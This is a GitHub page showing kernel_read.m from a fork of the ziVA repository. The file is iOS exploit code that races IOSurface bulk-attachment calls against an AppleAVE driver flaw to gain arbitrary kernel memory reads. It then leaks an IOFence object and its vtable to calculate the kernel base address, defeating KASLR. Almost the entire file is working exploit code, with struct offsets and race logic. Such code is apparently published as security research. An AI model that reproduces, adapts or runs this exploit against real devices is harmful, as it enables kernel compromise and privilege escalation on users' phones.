forked from doadam/ziVA
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathkernel_read.m
383 lines (302 loc) · 9.88 KB
/
kernel_read.m
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
#include <mach/mach.h>
#include <CoreFoundation/CoreFoundation.h>
#include <IOKit/IOKitLib.h>
#include <stdint.h>
#include <fcntl.h>
#include <pthread.h>
#include "iosurface_utils.h"
#include "apple_ave_pwn.h"
#include "apple_ave_utils.h"
#include "log.h"
#include "kernel_read.h"
#include "offsets.h"
static io_connect_t g_surface_conn = 0;
static void * g_surface_kernel_ptr = NULL;
static void * g_surface_buffer = NULL;
static uint32_t g_surface_id_for_arbitrary_read = 0;
/* exclusively for printing
static pthread_mutex_t g_m = PTHREAD_MUTEX_INITIALIZER;
*/
typedef struct bulk_racer_args_s {
int * should_stop;
void * address_target;
uint64_t * out_value;
uint64_t expected_value;
uint64_t mask;
} bulk_racer_args_t;
/*
* Function name: kernel_read_cleanup
* Description: Frees resources required by the arbitrary kernel read vulnerability.
* Returns: kern_return_t.
*/
kern_return_t kernel_read_cleanup() {
kern_return_t ret = KERN_SUCCESS;
if (g_surface_id_for_arbitrary_read)
{
iosurface_utils_release_surface(g_surface_conn, g_surface_id_for_arbitrary_read);
g_surface_id_for_arbitrary_read = 0;
}
if (g_surface_conn)
{
IOServiceClose(g_surface_conn);
g_surface_conn = 0;
}
return ret;
}
/*
* Function name: kernel_read_initialize_globals
* Description: Initializes IOKit connections and their objects.
* Returns: kern_return_t.
*/
static
kern_return_t kernel_read_initialize_globals() {
kern_return_t ret = KERN_SUCCESS;
char surface_data[IOSURFACE_DICTIONARY_SIZE] = {0};
ret = iosurface_utils_get_connection(&g_surface_conn);
if (KERN_SUCCESS != ret)
{
ERROR_LOG("Error opening IOSurfaceRoot connection");
goto cleanup;
}
ret = iosurface_utils_create_surface(g_surface_conn, &g_surface_id_for_arbitrary_read, surface_data);
if (KERN_SUCCESS != ret)
{
ERROR_LOG("Error creating an IOSurface for arbitrary read");
goto cleanup;
}
g_surface_buffer = *(void**)surface_data;
cleanup:
if (KERN_SUCCESS != ret)
{
kernel_read_cleanup();
}
return ret;
}
/*
* Function name: kernel_read_surface_bulk_race_thread
* Description: Sets the bulk attachment appropriately for the info leak and checks if its actually rewritten.
* Returns: kern_return_t.
*/
static
void* kernel_read_surface_bulk_race_thread(void * _args) {
kern_return_t ret = KERN_SUCCESS;
bulk_racer_args_t * args = (bulk_racer_args_t*)_args;
char input_buffer[IOSURFACE_BULK_ATTACHMENT_SIZE] = {0};
char output_buffer[IOSURFACE_BULK_ATTACHMENT_SIZE] = {0};
unsigned long counter = 0;
void * should_stop = args->should_stop;
*(void**)input_buffer = args->address_target;
usleep(100000);
/*
We want to leak fenceWaitingQueue. As a result, bulk0 must be NULL.
so we put the address of fenceWaitingQueue-0x38.
In that case, fenceWaitingQueue will be leaked (base+0x38), and base+0x50 will be NULL (bulk0).
00000210 fenceCurrentQueue DCQ ? ; offset
00000218 fenceCurrentQueueTail DCQ ? ; offset
00000220 fenceWaitingQueue DCQ ? ; offset
00000228 fenceWaitingQueueTail DCQ ? ; offset
00000230 fence_allow_tearing DCB ?
00000231 field_0x231 DCB ?
00000232 field_0x232 DCB ?
00000233 field_0x233 DCB ?
00000234 bulk0 (null) ?
00000244 bulk1 (null) ?
00000254 bulk2 (null) ?
00000264 bulk3 DCQ ? ; offset
0000026C bulk4 DCB ?
0000026D bulk5 DCB ?
0000026E YcbCr_matrix_also DCB ?
0000026F bulk6 DCB ?
00000270 bulk7 DCB ?
00000271 bulk8 DCB ?
00000272 bulk9 DCB ?
00000273 bulk10 DCB ?
*/
iosurface_utils_set_bulk_attachment_flag(input_buffer, 1);
DEBUG_LOG("block to leak: %p", *(void**)input_buffer);
while(!*(int*)should_stop) {
if (counter++ >= 0x10000)
{
DEBUG_LOG("timeout leak");
break;
}
ret = iosurface_utils_set_bulk_attachment(g_surface_conn, g_surface_id_for_arbitrary_read,
input_buffer);
if (KERN_SUCCESS != ret)
{
ERROR_LOG("Error setting bulk attachment");
break;
}
ret = iosurface_utils_get_bulk_attachment(g_surface_conn, g_surface_id_for_arbitrary_read,
output_buffer);
if (KERN_SUCCESS != ret)
{
ERROR_LOG("Error getting bulk attachment");
}
if (NULL != *(void**)(output_buffer+0x20) && 0 == *(uint32_t*)(output_buffer + 0x8))
{
if (args->mask && ((*(uint64_t*)(output_buffer + 0x20) & args->mask) != (args->expected_value & args->mask)))
{
DEBUG_LOG("0x%llx & 0x%llx (0x%llx) != 0x%llx & 0x%llx (0x%llx)",
*(uint64_t*)(output_buffer + 0x20), args->mask,
*(uint64_t*)(output_buffer + 0x20) & args->mask,
args->expected_value, args->mask,
args->expected_value & args->mask);
continue;
}
/* This value means the race failed. */
if (*(unsigned int*)(output_buffer + 0x20) == 0xf6000)
{
continue;
}
DEBUG_LOG("Leaked IOMemoryDescriptor: %p", *(void**)(output_buffer+0x20));
*args->out_value = *(uint64_t*)(output_buffer + 0x20);
break;
}
}
/*
pthread_mutex_lock(&g_m);
DEBUG_LOG("Bulk setter quitted");
for(i = 0; i <= 0x20; i += 8) {
DEBUG_LOG("leak[0x%x] = %p", i, *(void**)(output_buffer+i));
}
pthread_mutex_unlock(&g_m);
*/
*(int*)should_stop = 1;
#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Wint-conversion"
return ret;
#pragma clang diagnostic pop
}
/*
* Function name: kernel_read_wait_for_all_threads
* Description: Joins an array of pthread_t.
* Returns: void.
*/
static
void kernel_read_wait_for_all_threads(pthread_t * threads, size_t array_length) {
unsigned long i = 0;
for(i = 0; i < array_length; ++i) {
pthread_join(threads[i], NULL);
}
}
/*
* Function name: kernel_read_read_address
* Description: Reads an address from the kernel.
expected_value and mask are values that can help with identifying the right value (or part of it)
* Returns: kern_return_t and the value from the kernel as an output parameter.
*/
static
kern_return_t kernel_read_read_address(void * kernel_ptr, uint64_t * value, uint64_t expected_value, uint64_t mask) {
kern_return_t ret = KERN_SUCCESS;
pthread_t bulk_setter[NUMBER_OF_BULK_RACERS];
int should_stop = 0;
uint64_t out_value = 0;
char input_buffer[IOSURFACE_BULK_ATTACHMENT_SIZE] = {0};
bulk_racer_args_t args = {
.should_stop = &should_stop,
/* we reduce 0x18 because we are actually going to leak the first 32 bits of address + 0x18 */
.address_target = kernel_ptr - 0x18,
.out_value = &out_value,
.expected_value = expected_value,
.mask = mask
};
int i = 0;
for(i = 0; i < NUMBER_OF_BULK_RACERS; ++i) {
if (pthread_create(&(bulk_setter[i]), NULL, kernel_read_surface_bulk_race_thread, &args))
{
ERROR_LOG("Error creating bulk setter thread");
ret = KERN_ABORTED;
goto cleanup;
}
}
while(!should_stop) {
apple_ave_pwn_put_data_in_bulk(g_surface_kernel_ptr + IOSURFACE_OFFSET_BULK_ATTACHMENT);
}
kernel_read_wait_for_all_threads(bulk_setter, NUMBER_OF_BULK_RACERS);
*value = (uint64_t)out_value;
cleanup:
should_stop = 1;
kernel_read_wait_for_all_threads(bulk_setter, NUMBER_OF_BULK_RACERS);
/* Cleans up the surface's attachment */
iosurface_utils_set_bulk_attachment_flag(input_buffer, IOSURFACE_BULKATTACHMENT_FLAG_SET_ALL_BULKS);
iosurface_utils_set_bulk_attachment(g_surface_conn, g_surface_id_for_arbitrary_read,
input_buffer);
return ret;
}
/*
* Function name: kernel_read_leak_kernel_base
* Description: Leaks the kernel base using another vulnerability.
Please note that this function might block a little bit.
* Returns: kern_return_t and the kernel base in the output params.
*/
kern_return_t kernel_read_leak_kernel_base(void ** kernel_base) {
kern_return_t ret = KERN_SUCCESS;
uint64_t value = 0;
void * iofence = NULL;
void * iofence_vtable = NULL;
/* Read the IOFence object first */
ret = kernel_read_read_address((char*)apple_ave_pwn_get_bad_surface_kernel_ptr() + 0x210, &value,
0, 0);
if (KERN_SUCCESS != ret)
{
ERROR_LOG("Error leaking IOFence object");
goto cleanup;
}
DEBUG_LOG("Before ORing: %p", (void*)value);
value |= 0xfffffff000000000;
iofence = (void*)value;
DEBUG_LOG("IOFence: %p", iofence);
//DEBUG_LOG("IOFence, real: %p", (void*)r64(apple_ave_pwn_get_bad_surface_kernel_ptr() + 0x210));
/* Read the vtable from the IOFence object */
ret = kernel_read_read_address(iofence, &value,
OFFSET(iofence_vtable_offset), 0xfff);
if (KERN_SUCCESS != ret)
{
ERROR_LOG("Error leaking IOFence's vtable");
goto cleanup;
}
value |= 0xfffffff000000000;
iofence_vtable = (void*)value;
DEBUG_LOG("IOFence's vtable: %p", iofence_vtable);
//DEBUG_LOG("IOFence's vtable, real: %p", (void*)r64(r64(apple_ave_pwn_get_bad_surface_kernel_ptr() + 0x210)));
*kernel_base = (iofence_vtable - OFFSET(iofence_vtable_offset));
/*
usleep(10000);
iofence_vtable = r64(apple_ave_pwn_get_bad_surface_kernel_ptr());
DEBUG_LOG("IOSurface vtable: %p", iofence_vtable);
*kernel_base = iofence_vtable - (0xFFFFFFF006EF4778 - OFFSET(kernel_base));
DEBUG_LOG("kernel base: %p", *kernel_base);
DEBUG_LOG("kernel base magic: %p", r64(*kernel_base));
*/
cleanup:
return ret;
}
/*
* Function name: kernel_read_init
* Description: Initializes the camera connection for the establishment of an arbitrary read.
* Returns: kern_return_t.
*/
kern_return_t kernel_read_init() {
kern_return_t ret = KERN_SUCCESS;
ret = kernel_read_initialize_globals();
if (KERN_SUCCESS != ret)
{
ERROR_LOG("Error initializing globals");
goto cleanup;
}
ret = apple_ave_pwn_get_surface_kernel_address(g_surface_id_for_arbitrary_read, &g_surface_kernel_ptr);
if (KERN_SUCCESS != ret)
{
ERROR_LOG("Error getting the kernel pointer of our special IOSurface object %d",
g_surface_id_for_arbitrary_read);
goto cleanup;
}
DEBUG_LOG("kernel pointer of IOSurface object %d is %p", g_surface_id_for_arbitrary_read, g_surface_kernel_ptr);
cleanup:
if (KERN_SUCCESS != ret)
{
kernel_read_cleanup();
}
return ret;
}